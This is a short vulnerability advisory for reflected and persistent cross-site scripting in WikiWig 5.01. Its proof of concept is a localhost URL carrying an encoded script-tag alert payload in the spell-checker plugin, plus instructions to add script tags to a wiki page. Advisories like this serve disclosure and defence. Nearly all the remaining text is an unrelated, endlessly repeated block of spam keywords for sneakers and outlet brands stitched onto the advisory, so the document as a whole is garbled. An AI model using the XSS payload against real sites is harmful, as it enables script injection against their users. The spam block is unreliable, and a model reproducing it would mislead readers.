WikiWig 5.01 Persistent/Reflected Cross-site Scripting

------------------------------------------------------------------------
Software................WikiWig 5.01
Vulnerability...........Persistent/Reflected Cross-site Scripting
Threat Level............Moderate (2/5)
Download................http://wikiwig.sourceforge.net/
Discovery Date..........3/10/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A persistent/reflected cross-site scripting vulnerability in WikiWig
5.01 can be exploited to execute arbitrary JavaScript.


--PoC--

Reflected:
http://localhost/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E

Persistent:
Create a user account. Edit any page and add script tags.

<script>alert(0)</script>
barons 13s barons 13s jordan 13 barons jordan 13 barons barons 13s barons 13s jordan 13 barons barons 13s jordan 13 barons jordan 13 hologram jordan 13 hologram hologram 13s hologram 13s hologram 13s hologram 13s hologram 13s hologram 13s jordan 13 hologram jordan 13 barons jordan 13 barons barons 13s jordan 13 barons barons 13s jordan 13 barons barons 13s jordan 13 barons barons 13s hologram 13s hologram 13s jordan 13 hologram jordan 13 hologram hologram 13s hologram 13s hologram 13s jordan 13 hologram hologram 13s barons 13s barons 13s barons 13s jordan 13 barons jordan 13 barons jordan 13 barons barons 13s jordan 13 barons barons 13s hologram 13s jordan 13 hologram hologram 13s jordan 13 hologram jordan 13 hologram hologram 13s hologram 13s hologram 13s hologram 13s barons 13s barons 13s jordan 13 barons barons 13s jordan 13 barons jordan 13 barons jordan 13 barons jordan 13 barons barons 13s hologram 13s hologram 13s jordan 13 hologram jordan 13 hologram hologram 13s jordan 13 hologram hologram 13s jordan 13 hologram hologram 13s jordan 13 barons jordan 13 barons barons 13s barons 13s barons 13s jordan 13 barons barons 13s barons 13s barons 13s jordan 13 hologram hologram 13s jordan 13 hologram hologram 13s jordan 13 hologram jordan 13 hologram jordan 13 hologram hologram 13s hologram 13s jordan 13 barons barons 13s barons 13s jordan 13 barons barons 13s barons 13s jordan 13 barons barons 13s barons 13s hologram 13s hologram 13s jordan 13 hologram hologram 13s hologram 13s hologram 13s hologram 13s hologram 13s hologram 13s jordan 13 barons barons 13s barons 13s jordan 13 barons jordan 13 barons barons 13s barons 13s jordan 13 barons barons 13s hologram 13s jordan 13 hologram hologram 13s hologram 13s jordan 13 hologram hologram 13s hologram 13s jordan 13 hologram hologram 13s barons 13s jordan 13 barons jordan 13 barons barons 13s jordan 13 barons barons 13s jordan 13 barons jordan 13 barons barons 13s hologram 13s jordan 13 hologram hologram 13s hologram 13s hologram 13s hologram 13s hologram 13s hologram 13s hologram 13s jordan 13 barons barons 13s barons 13s barons 13s jordan 13 barons barons 13s barons 13s jordan 13 barons barons 13s jordan 13 hologram hologram 13s hologram 13s hologram 13s jordan 13 hologram hologram 13s hologram 13s hologram 13s hologram 13s barons 13s barons 13s barons 13s jordan 13 barons barons 13s jordan 13 barons jordan 13 barons barons 13s barons 13s jordan 13 hologram hologram 13s jordan 13 hologram hologram 13s hologram 13s hologram 13s jordan 13 hologram hologram 13s hologram 13s barons 13s jordan 13 barons jordan 13 barons barons 13s barons 13s jordan 13 barons jordan 13 barons barons 13s jordan 13 barons jordan 13 hologram jordan 13 hologram jordan 13 hologram hologram 13s jordan 13 hologram hologram 13s hologram 13s jordan 13 hologram hologram 13s jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s black infrared 6s jordan 6 black infrared jordan 6 black infrared black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue jordan 6 black infrared jordan 6 black infrared jordan 6 black infrared black infrared 6s black infrared 6s black infrared 6s jordan 11 legend blue jordan 6 black infrared jordan 6 black infrared jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue jordan 11 legend blue jordan 6 black infrared black infrared 6s jordan 6 black infrared jordan 11 legend blue black infrared 6s black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue legend blue 11s legend blue 11s jordan 6 black infrared black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s black infrared 6s jordan 11 legend blue jordan 11 legend blue black infrared 6s jordan 11 legend blue jordan 11 legend blue legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s jordan 6 black infrared jordan 6 black infrared black infrared 6s jordan 6 black infrared jordan 6 black infrared legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue black infrared 6s jordan 6 black infrared black infrared 6s jordan 11 legend blue black infrared 6s black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue legend blue 11s legend blue 11s jordan 6 black infrared jordan 11 legend blue jordan 6 black infrared jordan 6 black infrared black infrared 6s black infrared 6s jordan 11 legend blue jordan 6 black infrared jordan 6 black infrared jordan 6 black infrared jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue jordan 11 legend blue black infrared 6s jordan 6 black infrared black infrared 6s jordan 11 legend blue black infrared 6s black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s legend blue 11s jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared jordan 11 legend blue jordan 6 black infrared jordan 6 black infrared jordan 6 black infrared jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue jordan 11 legend blue legend blue 11s black infrared 6s black infrared 6s jordan 6 black infrared jordan 6 black infrared black infrared 6s black infrared 6s jordan 6 black infrared jordan 11 legend blue black infrared 6s black infrared 6s legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue jordan 11 legend blue legend blue 11s black infrared 6s black infrared 6s jordan 6 black infrared jordan 6 black infrared black infrared 6s black infrared 6s jordan 6 black infrared jordan 11 legend blue black infrared 6s black infrared 6s legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s jordan 6 black infrared jordan 6 black infrared black infrared 6s jordan 6 black infrared jordan 11 legend blue jordan 6 black infrared jordan 11 legend blue black infrared 6s jordan 6 black infrared black infrared 6s legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue black infrared 6s jordan 6 black infrared jordan 6 black infrared jordan 6 black infrared black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue jordan 11 legend blue black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s black infrared 6s jordan 6 black infrared legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s black infrared 6s jordan 6 black infrared jordan 6 black infrared jordan 11 legend blue black infrared 6s jordan 6 black infrared jordan 6 black infrared black infrared 6s black infrared 6s jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s black infrared 6s jordan 6 black infrared jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 11 legend blue jordan 11 legend blue black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared jordan 6 black infrared jordan 11 legend blue jordan 6 black infrared legend blue 11s jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s black infrared 6s jordan 6 black infrared black infrared 6s black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s jordan 6 black infrared black infrared 6s black infrared 6s black infrared 6s jordan 6 black infrared jordan 11 legend blue black infrared 6s black infrared 6s jordan 6 black infrared jordan 6 black infrared legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s legend blue 11s legend blue 11s legend blue 11s black infrared 6s jordan 6 black infrared jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s legend blue 11s legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue legend blue 11s jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue legend blue 11s jordan 6 black infrared jordan 11 legend blue black infrared 6s jordan 11 legend blue black infrared 6s jordan 6 black infrared jordan 6 black infrared jordan 11 legend blue jordan 11 legend blue black infrared 6s legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s legend blue 11s jordan 11 legend blue jordan 11 legend blue black infrared 6s black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared black infrared 6s jordan 6 black infrared jordan 11 legend blue black infrared 6s black infrared 6s coach outlet online louis vuitton outlet jordan 11 legend blue louis vuitton outlet michael kors outlet louis vuitton outlet jordan 6 black infrared jordan 6 black infrared jordan 11 legend blue jordan 6 black infrared legend blue 11s louis vuitton outlet jordan 6 black infrared michael kors outlet legend blue 11s michael kors outlet louis vuitton outlet uggs black friday jordan 11 legend blue louis vuitton outlet 3m 13s jordan retro 11 jordan 13 barons 3m 13s jordan 13 3m jordan 13 3m reflective jordan 13 bred barons 13s jordan 13 3m jordan 13 3m jordan 13 Hologram jordan 13 infrared 23 3m 13s jordan 13 Hologram barons 13s jordan 13 3m reflective Hologram 13s jordan 13 3m reflective barons 13s coach black friday black infrared 6s legend blue 11s legend blue 11s black infrared 6s legend blue 11s legend blue 11s black infrared 6s jordan 6 black infrared jordan 11 legend blue jordan 6 black infrared jordan 6 black infrared black infrared 6s uggs black friday jordan 6 black infrared michael kors outlet legend blue 11s coach factory outlet jordan 11 legend blue black infrared 6s jordan 11 legend blue jordan 13 Hologram jordan 13 3m 3m reflective 13s 3m 13s infrared 23 13s jordan 13 Hologram 3m reflective 13s infrared 23 13s Hologram 13s jordan 13 3m reflective Hologram 13s Hologram 13s jordan 13 bred 3m 13s jordan 13 infrared 23 jordan 13 infrared 23 jordan 13 Hologram 3m reflective 13s barons 13s bred 13s legend blue 11s legend blue 11s jordan 6 black infrared coach factory outlet jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue jordan 6 black infrared coach outlet online jordan 6 black infrared jordan 6 black infrared black infrared 6s michael kors outlet online jordan 6 black infrared louis vuitton outlet louis vuitton outlet louis vuitton outlet beats by dre cheap louis vuitton outlet jordan 6 black infrared bred 13s bred 13s jordan 13 barons coach black friday lebron 11 bred 13s 3m 13s north face black friday jordan 13 3m reflective jordan 13 Hologram barons 13s 3m 13s barons 13s jordan 13 barons jordan 13 Hologram barons 13s barons 13s jordan 13 infrared 23 jordan 13 bred 3m 13s jordan 6 black infrared jordan 11 legend blue beats by dre cheap uggs black friday jordan 11 legend blue beats by dre cheap uggs black friday jordan 11 legend blue louis vuitton outlet michael kors outlet online louis vuitton outlet jordan 6 black infrared jordan 6 black infrared louis vuitton outlet jordan 11 legend blue jordan 6 black infrared louis vuitton outlet legend blue 11s jordan 6 black infrared michael kors outlet online jordan 13 barons infrared 23 13s michael kors black friday jordan 13 bred jordan 13 barons bred 13s 3m 13s coach black friday jordan 13 barons 3m 13s jordan 13 3m jordan 13 Hologram jordan 13 infrared 23 jordan 13 3m jordan 13 Hologram jordan 13 infrared 23 3m 13s jordan 13 Hologram jordan retro 11 barons 13s black infrared 6s black infrared 6s louis vuitton outlet jordan 6 black infrared beats by dre black friday jordan 6 black infrared black infrared 6s jordan 6 black infrared uggs black friday black infrared 6s louis vuitton outlet black infrared 6s uggs black friday louis vuitton outlet beats by dre black friday jordan 11 legend blue jordan 6 black infrared michael kors outlet uggs black friday louis vuitton outlet barons 13s jordan 13 3m reflective jordan 13 Hologram coach black friday Hologram 13s jordan 13 infrared 23 barons 13s 3m 13s barons 13s Hologram 13s 3m reflective 13s Hologram 13s 3m 13s Hologram 13s jordan 13 Hologram jordan 13 3m reflective Hologram 13s coach black friday jordan 13 3m reflective jordan 13 3m reflective jordan 11 legend blue louis vuitton outlet black infrared 6s black infrared 6s louis vuitton outlet black infrared 6s black infrared 6s uggs black friday black infrared 6s beats by dre cheap legend blue 11s jordan 11 legend blue beats by dre cheap louis vuitton outlet jordan 11 legend blue michael kors outlet online jordan 11 legend blue michael kors outlet jordan 11 legend blue black infrared 6s jordan retro 11 jordan 13 3m reflective infrared 23 13s 3m reflective 13s michael kors black friday Hologram 13s barons 13s jordan 13 infrared 23 michael kors black friday barons 13s jordan retro 11 jordan 13 3m 3m reflective 13s jordan 13 bred coach black friday lebron 11 Hologram 13s 3m reflective 13s barons 13s jordan 13 barons michael kors outlet online michael kors outlet louis vuitton outlet louis vuitton outlet jordan 11 legend blue louis vuitton outlet jordan 6 black infrared michael kors outlet black infrared 6s jordan 11 legend blue louis vuitton outlet louis vuitton outlet legend blue 11s louis vuitton outlet legend blue 11s jordan 11 legend blue uggs black friday jordan 11 legend blue black infrared 6s black infrared 6s barons 13s 3m 13s jordan 13 3m reflective barons 13s jordan 13 Hologram barons 13s jordan 13 3m reflective bred 13s 3m 13s bred 13s barons 13s michael kors black friday 3m 13s coach black friday jordan 13 Hologram barons 13s 3m 13s jordan 13 Hologram 3m 13s 3m 13s legend blue 11s jordan 6 black infrared legend blue 11s black infrared 6s jordan 11 legend blue legend blue 11s jordan 6 black infrared black infrared 6s louis vuitton outlet jordan 6 black infrared jordan 6 black infrared jordan 11 legend blue legend blue 11s black infrared 6s beats by dre cheap black infrared 6s jordan 11 legend blue louis vuitton outlet jordan 11 legend blue louis vuitton outlet jordan 13 barons bred 13s coach black friday barons 13s jordan 13 Hologram michael kors black friday michael kors black friday jordan 13 3m barons 13s michael kors black friday jordan 13 Hologram jordan retro 11 3m reflective 13s 3m reflective 13s jordan 13 barons coach black friday jordan 13 Hologram jordan 13 barons lebron 11 3m 13s black infrared 6s legend blue 11s jordan 6 black infrared jordan 6 black infrared black infrared 6s louis vuitton outlet black infrared 6s black infrared 6s jordan 11 legend blue legend blue 11s michael kors outlet online uggs black friday black infrared 6s jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue jordan 11 legend blue louis vuitton outlet louis vuitton outlet jordan 13 barons jordan 13 3m reflective lebron 12 lebron 11 3m 13s barons 13s jordan 13 barons lebron 11 jordan 13 3m reflective Hologram 13s 3m reflective 13s jordan 13 3m jordan 13 Hologram jordan 13 3m barons 13s 3m 13s 3m reflective 13s jordan 13 barons jordan 13 barons michael kors black friday beats by dre cheap legend blue 11s jordan 6 black infrared michael kors outlet black infrared 6s legend blue 11s black infrared 6s louis vuitton outlet louis vuitton outlet black infrared 6s michael kors outlet online louis vuitton outlet black infrared 6s louis vuitton outlet jordan 6 black infrared louis vuitton outlet legend blue 11s coach outlet online legend blue 11s black infrared 6s jordan 13 Hologram jordan 13 infrared 23 jordan 13 Hologram bred 13s 3m reflective 13s jordan 13 infrared 23 bred 13s jordan 13 infrared 23 lebron 11 3m 13s Hologram 13s jordan 13 infrared 23 jordan 13 bred coach black friday jordan 13 Hologram 3m 13s michael kors black friday 3m reflective 13s Hologram 13s jordan 13 barons black infrared 6s uggs black friday michael kors outlet jordan 6 black infrared louis vuitton outlet louis vuitton outlet jordan 6 black infrared louis vuitton outlet jordan 11 legend blue jordan 6 black infrared legend blue 11s louis vuitton outlet jordan 11 legend blue michael kors outlet online michael kors outlet online jordan 11 legend blue jordan 6 black infrared michael kors outlet legend blue 11s black infrared 6s jordan 13 barons Hologram 13s coach black friday jordan 13 3m reflective coach black friday jordan 13 barons barons 13s jordan 13 Hologram barons 13s 3m reflective 13s jordan 13 3m jordan 13 Hologram 3m reflective 13s jordan 13 3m reflective infrared 23 13s lebron 12 3m 13s jordan 13 3m reflective jordan 13 3m reflective Hologram 13s